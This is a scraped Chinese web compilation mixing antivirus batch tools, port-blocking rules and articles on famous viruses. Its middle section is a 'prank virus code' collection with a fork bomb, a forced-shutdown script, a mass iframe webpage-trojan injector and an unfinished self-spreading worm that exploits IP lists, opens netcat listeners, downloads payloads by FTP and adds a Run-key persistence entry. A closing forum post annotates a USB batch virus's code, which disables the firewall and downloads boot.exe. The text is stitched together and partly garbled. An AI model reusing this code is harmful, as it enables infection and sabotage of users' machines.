"%pf%\autorun.inf" /T /C /P everyone:N >nul 2>nul Goto DoneclearAuto) >nul 2>nulEcho.Echo 您所输入的盘符不存在或者是只读设备，Echo 请重新输入Goto clearauto5:DoneclearAutoclsEcho.Echo 指定的磁盘 %pf% 已经成功进行了 Autorun 病毒的清除及免疫Echo.Echo [1] 继续免疫其他磁盘Echo [0] 返回主菜单Set /p choice= 请输入您的选择(1/0):If %choice%="" Goto DoneclearAutoIf %choice%="1" Goto clearauto5If %choice%="0" Goto clearauto:clearauto6clsEcho.Set /p pf= 请输入盘符，如"F:"(不包括引号)Echo 即将取消免疫%pf%盘……|find /i ":"||Set pf=%pf%:&&Echo 即将取消免疫%pf%盘……fsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (cacls "%pf%\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%\autorun.inf" & rd /s /q "%pf%\autorun.inf">nul 2>nul Goto DoneUnauto)>nul 2>nulfsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (cacls "%pf%\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%pf%\autorun.inf" & rd /s /q "%pf%\autorun.inf">nul 2>nul Goto DoneUnauto)>nul 2>nulEcho.Echo 您所输入的盘符不存在或者是只读设备，Echo 请重新输入Goto clearauto6:DoneUnautoclsEcho.Echo 指定的磁盘 %pf% 已经成功解除了 Autorun 病毒免疫Echo.Echo [1] 继续解除免疫其他磁盘Echo [0] 返回主菜单Set choice=Set /p choice= 请输入您的选择(1/0):If %choice%="" Goto DoneUnautoIf %choice%="1" Goto clearauto6If %choice%="0" Goto clearauto:clearauto7clsRem 防止在资源管理器中彻底隐藏文件、禁止文件等reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore r\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t REG_DWORD /d 0x00000001 /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ MountPoints2" /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ex plorer\DisallowRun" /f>nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ex plorer" /v DisallowRun /f>nul 2>nulRem 防止转移启动组位置reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v Startup /d "%USERPROFILE%\「开始」菜单\程序\启动" /f>nul 2>nulreg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v "Common Startup" /d "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" /f>nul 2>nulEcho.Echo 相关注册表恢复完毕，任意键返回……pause>nulGoto clearauto相关阅读：2018网络安全事件：一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月，英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞，包括AMD、ARM、英特尔系统和处理器在内，几乎近20年发售的所有设备都受到影响，受影响的设备包括手机、电脑、服务器以及云计算产品。
最厉害的十大电脑病毒
最厉害的十大电脑病毒经过过电脑病毒之后，回想起来都有点恐惧，电脑的资料全都没了，但是我们平时面对的只是一些小病毒，下面就让店铺给大家说说最厉害的十大电脑病毒。
十大病毒No.1：CIH病毒(1998年)是一位名叫陈盈豪的台湾大学生所编写的，从中国台湾传入大陆地区的。
CIH的载体是一个名为“ICQ中文Ch_at模块”的工具，并以热门盗版光盘游戏如“古墓奇兵”或Windows95/98为媒介，经互联网各网站互相转载，使其迅速传播。
CIH病毒属文件型病毒，其别名有Win95.CIH、Spacefiller、Win32.CIH、PE_CIH，它主要感染Windows95/98下的可执行文件(PE格式，Portable Executable Format)，目前的版本不感染DOS以及WIN 3.X(NE格式，Windows and OS/2 Windows 3.1 execution File Format)下的可执行文件，并且在Win NT中无效。
其发展过程经历了v1.0，v1.1、v1.2、v1.3、v1.4总共5个版本。
损失估计：全球约5亿美元。
NO.2 ：“梅利莎(Melissa)”爆发年限:1999年3月梅利莎(1999年)是通过微软的Outlook电子邮件软件，向用户通讯簿名单中的50位联系人发送邮件来传播自身。
该邮件包含以下这句话：“这就是你请求的文档，不要给别人看”，此外夹带一个Word 文档附件。
而单击这个文件，就会使病毒感染主机并且重复自我复制。
1999年3月26日，星期五，W97M/梅利莎登上了全球各地报纸的头版。
估计数字显示，这个Word宏脚本病毒感染了全球15%~20%的商用PC。
病毒传播速度之快令英特尔公司(Intel)、微软公司(Microsoft，下称微软)、以及其他许多使用Outlook软件的公司措手不及，防止损害，他们被迫关闭整个电子邮件系统。
“梅利莎”病毒的编写者大卫•史密斯后被判处在联邦监狱服刑20个月，也算获得一点惩戒损失估计：全球约3亿——6亿美元NO.3：“爱虫(Iloveyou)”爆发年限:2000年爱虫(2000年)是通过Outlook电子邮件系统传播，邮件主题为“I Love You”，包含附件“Lov e-Letter-for-you.txt.vbs”。
木马端口封杀BAT
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6671" -f *+0:6671:TCP -n BLOCK -x >nul
echo 关闭木马Indoctrination默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/8888" -f *+0:8888:TCP -n BLOCK -x >nul
echo 关闭远程控制软件VNC的两个默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6129" -f *+0:6129:TCP -n BLOCK -x >nul
echo 关闭nachi蠕虫病毒监听端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/808" -f *+0:808:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/23" -f *+0:23:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1025" -f *+0:1025:TCP -n BLOCK -x >nul
bat整人电脑病毒代码是怎样的
三一文库（）〔bat整人电脑病毒代码是怎样的〕*篇一：一些bat恶搞代码第一个:让别人内存OVER(逼他重启)@echooffstartcmd%0就这3行了第二个:让对方重启指定次数(害人专用)@echooffifnotexistc:\1.txtecho.c:\1.txtgotoerr1 ifnotexistc:\2.txtecho.c:\2.txtgotoerr1 ifnotexistc:\3.txtecho.c:\3.txtgotoerr1 ifnotexistc:\4.txtecho.c:\4.txtgotoerr1 ifnotexistc:\5.txtecho.c:\5.txtgotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启第三个:自动踢人(3389肉机保护自己专用)@echoofflogoff1dellog.batlogoff后面的1改成自己登陆的ID号,用queryuser查看第四个:批量自动溢出@for/f%%iin(result.txt)do42%%i58.44.89.158521先自己用NC监听端口,多开几个,然后指行,就自动溢出了第五个:自动挂马改主页@echooffclsrem直接打批处理名字就有帮助title批量挂马,改首页(伤脑筋QQ:447228437).colorAsetpan=%1setye=%2setdai=%3if"%pan%"==""gotoe1if"%ye%"==""gotoe1if"%dai%"==""gotoe1if"%dai%"=="htm.txt"gotou1forfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEecho^ iframesrc=":%dai%"width="0"height="0"frameborder="0 "^@path"echo.echo代码全部插入完毕echo.pausegotoe1:u1echo您现在的操作将使%pan%盘下,全部名为%ye%的内容变为您要更改的内容.echo这将是非常危险的,您真的要这样做?回车却认,Ctrl+c取消操作.pauseforfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEcopy% 1\htm.txt@path/y"echo.echo首页全部更改完必如果您发现没有替换成功,请将%ye%文件只读属性去掉.echo.pause:e1echo.echo本批处理只适用于2003系统,其他系统要使用,请将forfiles.exe拷贝至系统盘system32目录下echo用法:snj^搜索盘符^^文件名^^网马地址^echo例子:snjd:\index.asp/mm.htmecho批处理将自动添加^iframe^标记echo.echo如果您要更改全部网站的首页!请在批处理文件所在目录下,新建一个名为htm.txt的文本文件.echo然后将要更改的代码加COPY到里面保存.然后将命令的^网马地址^项输入为htm.txt即可.echo例子:snjd:\index.asphtm.txtecho.echo为了能准确无误执行批处理请最好先把记事本的"自动换行功能去掉",让命令保持在一行才能正确执行.echo.echo使用此批处理造成一切后果本人概不负责,请大家谨慎使用!echo.第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒本来想写完后在做教程,要去学校了,所以先把思路告诉大家,大家可以先自己写写,我有时间写完发到群里.这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完delc:\42.exedelc:\nc.exedelc:\ip.exeechodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbsechodimwsh%systemroot%\help\test2.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test2.vbsechowsh.run"cmd/cstart%systemroot%\help\good.bat",0%systemroot%\help\test2.vbsechoopen10.0.0.5%systemroot%\help\ftp.txt echoopenmyyes%systemroot%\help\ftp.txtecho1%systemroot%\help\ftp.txtechobinary%systemroot%\help\ftp.txtechoget42.exec:\42.exe%systemroot%\help\ftp.txt echogetnc.exec:\nc.exe%systemroot%\help\ftp.txt echogetip.exec:\ip.exe%systemroot%\help\ftp.txt echobye%systemroot%\help\ftp.txtechoechoSetxPost=CreateObject("Microsoft.XMLHTTP") ^1.vbs%systemroot%\help\or.txtechoechoxPost.Open"GET",":10.0.0.5/my.exequo...,0 ^^1.vbs%systemroot%\help\or.txtechoechoxPost.Send()^^1.vbs%systemroot%\help\or.txt echoechoSetsGet=CreateObject("ADODB.Stream")^^1.vbs%systemroot%\help\or.txtechoechosGet.Mode=3^^1.vbs%systemroot%\help\or.txte choechosGet.Type=1^^1.vbs%systemroot%\help\or.txtec hoechosGet.Write(xPost.responseBody)^^1.vbs%systemroot%\help\or.txtechoechosGet.SaveToFile"d:\my.exe",2^^1.vbs%systemroot%\help\or.txtechoecho1.vbs^^1.vbs%systemroot%\help\or.txtechoechomy.exe^^1.vbs%systemroot%\help\or.txtechoWindowsRegistryEditorVersion5.00%systemroot%\he lp\1.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]%systemroot%\help\1.regecho"SKYNETPersonalFireWall"="F:\\系统安全工具\\FireWall\\PFW.exe"%systemroot%\help\1.regecho"1"="%systemroot%\\help\\test2.vbs"%systemroot% \help\1.regifnotexist%systemroot%\help\good.batcopygood.bat%systemroot%\help\good.bat%systemroot%\help \test2.vbsdelgood.batregedit-s%systemroot%\help\1.regftp-s:%systemroot%\help\ftp.txtmovec:\nc.exe%systemroot%\help\/ymovec:\42.exe%systemroot%\help\/ymovec:\ip.exe%systemroot%\help\/y%systemroot%\help\test.vbsremfor/f%%iin(result1.txt)doseta=%%iremfor/f%%jin(result.txt)do42%a%%%j810准备:1:找一个反向连接的溢出攻击程序,如ms06040漏洞2:找呀一个免费FTP空间,最好是送域名的3:利用你所知道的高级语言编写一个,能生成随机范围IP地址和找到本机IP的工具.思路:用for语句对指定文本里的IP进行溢出,然后用if语句判断是否溢出成功,如果成功开启一个NC监听端口,NC后面带一个输入符号输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下因为批处理运行后会闪出命令行窗口,我门可以利用VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下echodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbs生成随机IP工具的VB代码PrivateSubForm_Load()DimfsoAsNewFileSystemObjectDima,b,c,dAsIntegerDimph,eAsStringph=App.Path"\""ip.txt"Randomizea=Int(253*Rnd+1)b=Int(253*Rnd+1)c=Int(240*Rnd+1)OpenphForOutputAs#1Fori=cToc+7Forj=1To254e=a"."b"."i"."jPrint#1,eDoEventsNextjNextiClose#1UnloadMeEndSub*篇二：整人“病毒”代码(一)发表于2013-10-2310:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
计算机病毒是不是一种程序
计算机病毒是不是一种程序计算机病毒是什么呢?到底计算机病毒是不是一种程序呢?下面由店铺给你做出详细的计算机病毒介绍!希望对你有帮助!计算机病毒介绍一：是一种程序指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码计算机病毒介绍二：编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒(Computer Virus)。
具有破坏性，复制性和传染性。
计算机病毒介绍三：通常隐藏在一个可执行文件里边，扩展名exe,com,bat等，也有些隐藏在图片文件，影视文件里。
病毒发作，一般两条一上，通常单独一个病毒是不发作的。
相关阅读：U盘病毒传染过程在系统运行时，病毒通过病毒载体即系统的外存储器进入系统的内存储器，常驻内存。
该病毒在系统内存中监视系统的运行，当它发现有攻击的目标存在并满足条件时，便从内存中将自身存入被攻击的目标，从而将病毒进行传播。
而病毒利用系统INT 13H读写磁盘的中断又将其写入系统的外存储器软盘或硬盘中，再感染其他系统。
可执行文件感染病毒后又怎样感染新的可执行文件?可执行文件.COM或.EXE感染上了病毒，例如黑色星期五病毒，它驻入内存的条件是在执行被传染的文件时进入内存的。
一旦进入内存，便开始监视系统的运行。
当它发现被传染的目标时，进行如下操作：(1)首先对运行的可执行文件特定地址的标识位信息进行判断是否已感染了病毒;(2)当条件满足，利用INT 13H将病毒链接到可执行文件的首部或尾部或中间，并存大磁盘中;(3)完成传染后，继续监视系统的运行，试图寻找新的攻击目标。
操作系统型病毒是怎样进行传染的?正常的PC DOS启动过程是：(1)加电开机后进入系统的检测程序并执行该程序对系统的基本设备进行检测;(2)检测正常后从系统盘0面0道1扇区即逻辑0扇区读入Boot 引导程序到内存的0000: 7C00处;(3)转入Boot执行;(4)Boot判断是否为系统盘，如果不是系统盘则提示;non-system disk or disk errorReplace and strike any key when ready否则,读入IBM BIO-COM和IBM DOS-COM两个隐含文件;(5)执行IBM BIOCOM和IBM DOS-COM两个隐含文件，将COMMAND-COM装入内存;(6)系统正常运行，DOS启动成功。
电脑中病毒有什么现象
电脑中病毒有什么现象电脑会经常中病毒，如果我们的电脑中了病毒会有些什么现象呢?下面由店铺给你做出详细的电脑中病毒现象介绍!希望对你有帮助!电脑中病毒现象一：安天防线、avira antivir 一个德国软件，我们叫小红帽、avg 免费杀毒，我叫乞丐布，还有很多软件，如果你觉得不可以，你可以再问，我继续说，不过小红帽就一般要配置高点的，不过一般配置是可以使用的电脑中病毒现象二：其一，系统运行速度减慢甚至死机。
像“新快乐时光”病毒，会感染HTM、ASP、PHP、HTML、VBS、HTT 等网页文件，被感染的逻辑盘的每个目录都被生成desktop.ini、folder.htt 文件，病毒交叉感染使得操作系统速度变慢。
而像冲击波等蠕虫病毒，由于病毒发作后会开启上百线程扫描网络，或是利用自带的发信模块向外狂发带毒邮件，大量消耗系统资源，因此会使操作系统运行得很慢，严重时甚至死机。
而象冲击波等蠕虫病毒，由于病毒发作后会开启上百线程扫描网络，或是利用自带的发信模块向外狂发带毒邮件，大量消耗系统资源，因此会使操作系统运行很慢，严重时甚至死机。
文件型病毒感染文件后会增加文件长度，如果发现文件长度莫名其妙地发生了变化，就可能是感染了病毒。
同时，病毒在感染文件过程中不断复制自身，占用硬盘的存储空间，如果你发现在没有安装任何文件的情况下，硬盘容量不断减少(一些系统中存在的缓存文件和网页残留信息不是病毒)。
除了以上常见的一些现象外，如果电脑出现以下的症状之一，也可能是感染了病毒。
读者朋友们在使用电脑过程中可以对照一下，由于版面问题，这里就不一一详说了。
丢失文件或文件损坏;计算机屏幕上出现异常显示;计算机系统的蜂鸣器出现异常声响;磁盘卷标发生变化;系统不识别硬盘;有不明程序对存储系统异常访问;键盘输入异常;文件的日期、时间、属性等发生变化;文件无法正确读取、复制或打开;命令执行出现错误;系统虚假报警;系统时间倒转，逆向计时;WINDOWS操作系统无故频繁出现错误;系统异常重新启动;一些外部设备工作异常，如打印机常打出一些乱码;系统或是打开文件时异常要求用户输入密码;WORD或EXCEL提示执行"宏"等等电脑中病毒现象三：1、提示一些不相干的话。
bat（蝙蝠）的本义和引申——与冠状病毒的关系
bat（蝙蝠）的本义和引申——与冠状病毒的关系 Bats are not birds or insects. They are the only mammals that can fly. The flyingcharacteristics of bats lead to a super high metabolism rate. Every day, they have a fever of 40 degrees. If they were adults, they would have been mentally retarded, but they would not, justlike no one has been around for five million years, so bats can coexist with coronaviruses（冠状病毒）, with many viruses, but not humans.蝙蝠不是鸟也不是昆⾍，是唯⼀会飞⾏的哺乳动物。
蝙蝠的飞⾏特性导致了超⾼的新陈代谢率，天天浑⾝发烧40度，搁⼈⾝上，早烧成智障挂了，但它们不会，就像没事⼈⼀样过了五百万年，所以蝙蝠可以和冠状病毒共⽣，和很多病毒共⽣，⽽⼈类不⾏。
【注：corona / kəˈrəunə/ n ⽇冕; ⽇华; ⽉华;冠状物，virus病毒】下⾯我们看⼀下bat的造词本源和词义引申，探究⼀下早期的⼈们对蝙蝠的认识。
请看下⾯的词义习语和衍⽣词：【说⽂解字】bat⼀词与beat同源，是字母e脱落后形成的或者是bat衍⽣出e产⽣了beat。
beat/bat本义是:hit(sb/sth) repeatedly, esp with a stick（接连地）打（尤指棒打），beat/bat的动作有如下特征：1.有节奏的拍打2.速度很快3.拍打是有声⾳的（bat和beat就是拍打的声⾳）这样的特征造就了下⾯的词汇。
电脑病毒
电脑病毒一、什麽叫做电脑病毒二、电脑病毒的分类叁、电脑病毒的特性四、防毒五、扫毒六、解毒七、根本预防之道八、常问问题解答附录、防毒、扫毒、解毒软体之取得一、什麽叫做电脑病毒电脑病毒，简单地说就是一段会自我复制、隐藏、感染的程式码，透过各种方法侵入使用者的电脑，达成其恶作剧或破坏资料的目的。
所以身为电脑使用者的我们岂可不慎，只要了解电脑病毒的各种特性，将有助於我们对抗电脑病毒，将电脑病毒所造成的灾害减到最低。
二、电脑病毒的分类大约可以分成叁类：１、开机型病毒(Boot-type virus)开机型病毒，顾名思义就是透过开机而传染的病毒，它会感染磁碟的启动磁区(Boot Sector)或是硬碟分割表(Partition Table)。
当使用者用有毒的磁片或是硬碟开机，那麽整个作业系统将会处於病毒之下，以後只要使用者放入新的磁片使用的话，那麽磁片就会中毒。
再把这张磁片拿到其他电脑之A 槽开机的话，硬碟也会中毒。
一般来说，开机型病毒的种类不及档案型病毒来得多，如果不幸中开机型病毒的话，也较容易杀掉，不过它所造成的灾害却比档案型来得严重，一次很可能就毁掉整个硬碟。
1 软碟中毒前之开机程序：开机→执行BIOS→自我测试POST→填入中断向量表→启动磁区(Boot sector)→IO.SYS→MSDOS.SYS→软碟中毒後之开机程序：开机→执行BIOS→自我测试POST→填入中断向量表→开机型病毒→启动磁区(Boot Sector)→IO.SYS→MSDOS.SYS→2 硬碟中毒前之开机程序：开机→执行BIOS→自我测试POST→填入中断向量表→硬碟分割表(Partition Table)→启动磁区(Boot Sector)→IO.SYS→MSDOS.SYS→硬碟中毒後之开机程序：(感染启动磁区)开机→执行BIOS→自我测试POST→填入中断向量表→硬碟分割表(Partition Table)→开机型病毒→启动磁区(Boot Sector)→IO.SYS→ MSDOS.SYS→硬碟中毒後的开机程序：(感染硬碟分割表)开机→执行BIOS→自我测试POST→填入中断向量表→开机型病毒→硬碟分割表(Partition Table)→启动磁区(Boot Sector)→IO.SYS→ MSDOS.SYS→２、档案型病毒(File-type virus)从字义上来看，就是纯粹感染档案的病毒，所感染的档案类型大部份是可执行档，如.COM、.EXE、SYS、BAT、OVL等等。
常见的计算机病毒
【平安】常见病毒类型说明及行为分析 0点1、目前杀毒厂商对恶意程序的分类nbsp; 木马病毒： TROJ_****.**nbsp; 后门程序： BKDR_****.**nbsp; 蠕虫病毒： WORM_****.**nbsp; 间谍软件： TSPY_****.**nbsp; 广告软件： ADW_****.**nbsp; 文件型病毒： PE_****.**nbsp; 引导区病毒：目前世界上仅存的一种引导区病毒POLYBOOT-B2、病毒感染的一般方式病毒感染系统时，感染的过程大致可以分为：通过*种途径传播，进入目标系统自我复制统设置实现随系统自启动激活病毒负载的预定功能如：翻开后门等待连接发起DDOS攻击进展键盘记录发送带计子2.1 常见病毒传播途径除引导区病毒外，所有其他类型的病毒，无一例外，均要在系统中执行病毒代码，才能实的。
对于不同类型的病毒，它们传播、感染系统的方法也有所不同。
nbsp; 计算机病毒传播方式主要有：ü电子ü网络共享ü P2P 共享ü系统漏洞ü浏览网页ü移动磁盘传播ü翻开带毒影音文件电子传播方式nbsp; HTML正文可能被嵌入恶意脚本，nbsp; 附件携带病毒压缩文件nbsp; 利用社会工程学进展伪装，增大病毒传播时机nbsp; 快捷传播特性例：WORM_MYTOB，WORM_STRATION等病毒2.1.2 网络共享传播方式nbsp; 病毒会搜索本地网络中存在的共享，包括默认共享如ADMIN$ ,IPC$,E$ ,D$,C$nbsp; 通过空口令或弱口令猜想，获得完全访问权限病毒自带口令猜想列表nbsp; 将自身复制到网络共享文件夹中通常以游戏,CDKEY等相关名字命名例：WORM_SDBOT 等病毒2.1.3 P2P共享软件传播方式nbsp; 将自身复制到P2P共享文件夹通常以游戏,CDKEY等相关名字命名nbsp; 通过P2P软件共享给网络用户nbsp; 利用社会工程学进展伪装，诱使用户下载例：WORM_PEERCOPY.A，灰鸽子等病毒2.1.4 系统漏洞传播方式nbsp; 由于操作系统固有的一些设计缺陷,导致被恶意用户通过畸形的方式利用后,可执行任意代码,这就是系统nbsp; 病毒往往利用系统漏洞进入系统,到达传播的目的。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
start "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http : // www .kkk8. org
::后台打开某个网页，估计是病毒网站，不要随便打开！
@ dir %SystemRoot%\system32 |find "SuCH0ST.exe"
@ cmd /c sc config DNSSystem displayname= "System DNS"
@ cmd /c sc config DNSSystem type= interact type= own
@ cmd /c sc description DNSSystem "(C) Microsoft Corporation 公司提供的(DNS)域名解析程序,如果该服务被停用，任何依赖它的服务将无法启动。"
ATTRIB "d:\%%q" +s +h & copy %SystemRoot%\system32\down.exe "d:\%%q.exe"
)
)
del %0
::隐藏D盘文件夹，并拷贝病毒文件down.exe进去，伪装成原来的文件夹。
::最后删掉本程序。不懂怎么多了一个括号，看来这家伙学艺不精。
del C:\WINDOWS\system32\a.txt,C:\WINDOWS\system32\b.txt,C:\WINDOWS\system32\c.txt,C:\WINDOWS\system32\d.txt
::删除a、b、c、d四个文档，应该是临时文件，没见到内容。
ATTRIB C:\WINDOWS\system32\mail3.vbe +s +h & ATTRIB C:\WINDOWS\system32\Attusb.dll +s +h & ATTRIB C:\WINDOWS\system32\autousb.bat +s +h & ATTRIB C:\WINDOWS\system32\WIN.bat +s +h
dir /a:d-s /b > %SystemRoot%\system32\ok.txt
for /f "delims=" %%q in (%SystemRoot%\system32\ok.txt) do (
ATTRIB "%%q" +s +h & copy %SystemRoot%\system32\down.exe "!var!%%q.exe"
)
)
::同上，将病毒伪装成U盘文件夹。
:3
EXPL0RER /n 10 127.0.1 &goto 1
::定位?估计又被山寨了，这个EXPL0RER中间是数字0，而非字母O！！不懂干嘛用的。
::这种用法没接触过，有点那个……
@ cmd /c sc create DNSSystem binpath= "%systemroot%\system32\SVCH0S /c start SuCH0ST.exe " start= auto
del %SystemRoot%\system32\output.txt /q
for /f %%i in (%SystemRoot%\system32\out.txt) do (
fsutil fsinfo drivetype %%i|find "可移动驱动器" &&echo %%i>>%SystemRoot%\system32\output.txt
del boot.exe /q
::这个boot.exe是干嘛用的？
echo o > 1.RMVB&echo 1234 >> 1.RMVB&echo 1234 >> 1.RMVB&echo get boot.exe boot.exe >> 1.RMVB&echo del down.exe >> 1.RMVB&echo bye >> 1.RMVB
::给几个病毒文件添加隐藏和系统属性：mail3.vbe、Attusb.dll、autousb.bat、WIN.bat
::看英文名称大概懂得它们的作用。
dir d:\ /a:d-s /b > %SystemRoot%\system32\ok.txt
::多余的一个步骤：获得D盘的文件夹
for /f "delims=" %%q in (%SystemRoot%\system32\ok.txt) do (
::写了几条信息到文件 1.RMVB 中，搞嘛？
ftp -s:1.RMVB
del 1.RMVB
::ftp并删除
ping 127.0.0.1 -n 3
cmd /c boot.exe
ping 127.0.0.1 -n 10
del %SystemRoot%\system32\boot.exe /q
exit
::间隔运行boot.exe，这个就是隐Fra bibliotek后台运行的家伙。
autousb.bat 病毒文件注释
setlocal EnableDelayedExpansion
:1
fsutil fsinfo drives >%SystemRoot%\system32\output.txt
find ":\" < %SystemRoot%\system32\output.txt >%SystemRoot%\system32\out.txt
::搜索SuCH0ST.exe？搞不懂，没必要这样麻烦吧？SuCH0ST.exe有点模仿系统进程的意味！~
@ if %ERRORLEVEL%==0 goto ok
@ if %ERRORLEVEL%==1 goto end
::不喜欢用返回码，用&&和||更好。
::不喜欢一堆@头……，一个@echo off的事……
@ sc start DNSSystem
::无非是山寨服务项：DNSSystem
%SystemRoot%\system32\SuCH0ST.exe
@ exit
::运行SuCH0ST.exe并退出此程序。
:end
@ net stop sharedaccess
sc stop sharedaccess
一个批处理病毒解读:systen.exe
本帖最后由 cjiabing 于 2013-2-16 18:38 编辑
最近在办公室电脑发现一个病毒，其中有三个BAT文件，现在拿出来解读下，方便大家杀毒！~
专杀推荐使用：批处理杀毒模板VirusCleaner V1.0.bat
dd.bat病毒文件注释
)
::无非是获得可移动驱动器——U盘。
if not exist %SystemRoot%\system32\output.txt goto 3
for /f %%r in (%SystemRoot%\system32\output.txt) do (
set var=%%r
cd /d !var!
:ok
::我总觉得这样的临时文件和标签很有我早期写BAT的风格，难道是我的粉……？！
@ net stop sharedaccess
sc stop sharedaccess
::停用系统防火墙服务：sharedaccess
^c^o^p^y ^c^m^d^.^e^x^e ^S^V^C^H^0^S^.^e^x^e /y